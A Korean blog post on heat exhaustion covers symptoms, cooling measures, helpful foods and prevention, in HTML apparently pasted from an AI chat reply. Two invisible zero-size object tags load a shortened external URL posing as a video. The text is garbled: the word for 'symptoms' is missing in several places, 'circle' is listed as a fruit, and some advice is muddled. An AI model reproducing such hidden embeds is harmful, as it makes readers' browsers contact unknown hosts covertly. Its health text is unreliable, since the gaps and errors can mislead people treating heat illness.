더위 먹었을때 음식 증상 대처 방법

<div class="figure-html" data-ke-type="html" data-source="<object width="0" height="0" data="https://vvd.bz/cbVT" type="video/mp4"></object> <div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:35">더위 먹었을 때 과 대처법, 그리고 도움이 되는 음식들</h2>더운 여름철에는 폭염으로 인해 더위를 먹는 경우가 많아집니다. 더위를 먹으면 두통, 어지러움, 메스꺼움, 구토, 심한 경우에는 열사병까지 걸릴 수 있으니 주의해야 합니다.더위 먹었을 때 <ul data-sourcepos="7:1-13:0"> <li data-sourcepos="7:1-7:4">두통</li> <li data-sourcepos="8:1-8:6">어지러움</li> <li data-sourcepos="9:1-9:6">메스꺼움</li> <li data-sourcepos="10:1-10:4">구토</li> <li data-sourcepos="11:1-11:30">탈수 (구순 마른, 갈증 증가, 소변량 감소)</li> <li data-sourcepos="12:1-13:0">심한 경우에는 의식 상실, 경련, 심장 마비까지</li> </ul>더위 먹었을 때 대처법<ol data-sourcepos="16:1-39:0"> <li data-sourcepos="16:1-18:0"> 시원한 곳으로 이동: 가장 먼저 시원한 그늘이나 실내로 이동하여 몸을 식혀야 합니다. </li> <li data-sourcepos="19:1-21:0"> 옷을 느슨하게 풀어주기: 꽉 조이는 옷은 몸의 열을 방출하는 것을 방해하기 때문에 느슨하게 풀어줍니다. </li> <li data-sourcepos="22:1-24:0"> 수분을 충분히 섭취: 땀으로 잃어버린 수분을 보충하기 위해 물이나 전해질 음료를 충분히 마셔야 합니다. </li> <li data-sourcepos="25:1-27:0"> 찬물로 얼굴이나 목덜미를 식히기: 찬물로 얼굴이나 목덜미를 식히면 몸의 열을 빠르게 낮출 수 있습니다. </li> <li data-sourcepos="28:1-30:0"> 발을 시원한 물에 담그기: 발을 시원한 물에 담그면 몸 전체가 시원해지는 가 있습니다. </li> <li data-sourcepos="31:1-33:0"> 실내 온도를 낮추기: 에어컨이나 선풍기를 사용하여 실내 온도를 낮춥니다. </li> <li data-sourcepos="34:1-36:0"> 따뜻한 샤워나 미온수욕: 뜨거운 물 대신 따뜻한 샤워나 미온수욕을 하면 몸의 열을 낮추고 근육을 이완시키는 데 도움이 됩니다. </li> <li data-sourcepos="37:1-39:0"> 충분한 휴식: 충분한 휴식을 취하여 몸의 피로를 회복합니다. </li> </ol>더위 먹었을 때 도움이 되는 음식<ul data-sourcepos="42:1-46:0"> <li data-sourcepos="42:1-42:33">시원한 음료: 물, 전해질 음료, 차가운 녹차 등</li> <li data-sourcepos="43:1-43:35">수분이 많은 과일: 수박, 동그라미, 참외, 오이 등</li> <li data-sourcepos="44:1-44:33">칼륨이 풍부한 음식: 바나나, 아보카도, 감자 등</li> <li data-sourcepos="45:1-46:0">소화가 잘 되는 음식: 죽, 밥, 국수 등</li> </ul>더위를 먹지 않기 위한 예방법<ul data-sourcepos="49:1-55:0"> <li data-sourcepos="49:1-49:45">충분한 수분 섭취: 하루 종일 물을 자주 마셔 탈수 을 예방합니다.</li> <li data-sourcepos="50:1-50:35">적절한 옷차림: 얇고 통풍이 잘 되는 옷을 입습니다.</li> <li data-sourcepos="51:1-51:41">강한 햇빛 피하기: 직사광선을 피하고 모자나 우산을 사용합니다.</li> <li data-sourcepos="52:1-52:51">격렬한 운동 피하기: 무더운 날씨에는 격렬한 운동을 피하고 가벼운 운동을 합니다.</li> <li data-sourcepos="53:1-53:50">실내 온도 유지: 에어컨이나 선풍기를 사용하여 실내 온도를 시원하게 유지합니다.</li> <li data-sourcepos="54:1-55:0">노약자, 어린아이, 만성 자 주의: 노약자, 어린아이, 만성 자는 더위에 더욱 취약하므로 주의가 필요합니다.</li> </ul>더위를 먹었을 때 이 심하거나 오래 지속되는 경우에는 즉시 병원을 방문해야 합니다.이 외에도 더 궁금한 점이 있으면 언제든지 질문해주세요.주의: 위에 제시된 정보는 일반적인 정보 제공을 위한 목적으로만 사용되며, 의학적 진단이나 를 대체할 수 없습니다. 건강상의 문제가 있을 경우 의사와 상담하십시오.</div> "><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cbVT" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object> <div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; 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